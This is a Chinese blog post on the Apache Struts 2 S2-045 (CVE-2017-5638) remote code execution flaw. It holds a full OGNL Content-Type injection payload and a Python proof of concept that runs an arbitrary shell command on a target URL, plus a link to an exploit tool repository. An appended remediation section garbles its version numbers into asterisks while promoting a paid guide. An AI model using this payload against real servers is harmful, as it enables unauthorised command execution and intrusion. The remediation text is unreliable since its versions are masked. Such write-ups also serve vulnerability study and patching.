S2-045远程代码执行漏洞

Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-045,CVE编号CVE-2017-5638,在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。

影响范围

Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10

不受影响的范围

Struts 2.3.32 Struts 2.5.10.1

漏洞检测

payload:

%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(31337*31337)).(#ros.flush())}

Content-Type插入如下检测脚本
在这里插入图片描述
查看回包:
可以看到上面我们构造的31337*31337成功执行
在这里插入图片描述
检测poc:

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def poc():
    register_openers()
    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
    response = urllib2.urlopen(request)
    print response.read()
poc()

其他:
https://github.com/jas502n/S2-045-EXP-POC-TOOLS

参考链接:
https://www.anquanke.com/post/id/85744
在这里插入图片描述

为了有效修复Apache Struts2的S2-045远程代码执行漏洞,你需要遵循一系列具体的升级步骤和注意事项。首先,确保你已经下载了最新版本的Struts2,即2.3.32或*.*.**.*,可以从Apache官方网站获取。升级前,建议备份旧的jar包,以防万一需要回滚操作。 参考资源链接:[Apache Struts2 S2-045漏洞修复与升级全攻略](https://wenku.youkuaiyun.com/doc/647191b5d12cbe7ec300daa3?spm=1055.2569.3001.10343) 接下来,开始升级过程。首当其冲的是替换掉受漏洞影响的核心组件jar包。对于Struts2版本2.3.32,需要更换的jar包有: 1. struts2-core-2.3.32.jar 2. xwork-core-2.3.32.jar 3. ognl-3.0.19.jar 而对于*.*.**.*版本,需要替换的jar包是: 1. struts2-core-*.*.**.*.jar 2. xwork-core-*.*.**.*.jar 3. ognl-3.0.19.jar 升级过程中,务必检查并更新所有相关的依赖包,以保持整个框架的安全性和稳定性。由于S2-045漏洞是通过Content-Type字段触发的,建议在升级后彻底检查和调整应用的安全策略,特别是对于文件上传的处理逻辑。 最后,升级完成后,执行全面的安全审计和测试是至关重要的。通过运行安全测试工具和代码审计,确保漏洞已被成功修复,并且新的升级没有引入新的问题。如果你不熟悉这些过程,推荐参考《Apache Struts2 S2-045漏洞修复与升级全攻略》。这本书详细介绍了从识别漏洞、下载升级包到全面测试的完整步骤,能够帮助你系统地理解和实施升级,确保应用的安全性。 为了全面掌握Apache Struts2的安全防护知识,建议在解决当前问题后继续学习《Apache Struts2 S2-045漏洞修复与升级全攻略》,该资料不仅覆盖了修复漏洞的必要步骤,还包括了关于Struts2安全配置的深入讨论,帮助你在Web应用开发中避免潜在的安全威胁。 参考资源链接:[Apache Struts2 S2-045漏洞修复与升级全攻略](https://wenku.youkuaiyun.com/doc/647191b5d12cbe7ec300daa3?spm=1055.2569.3001.10343)
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值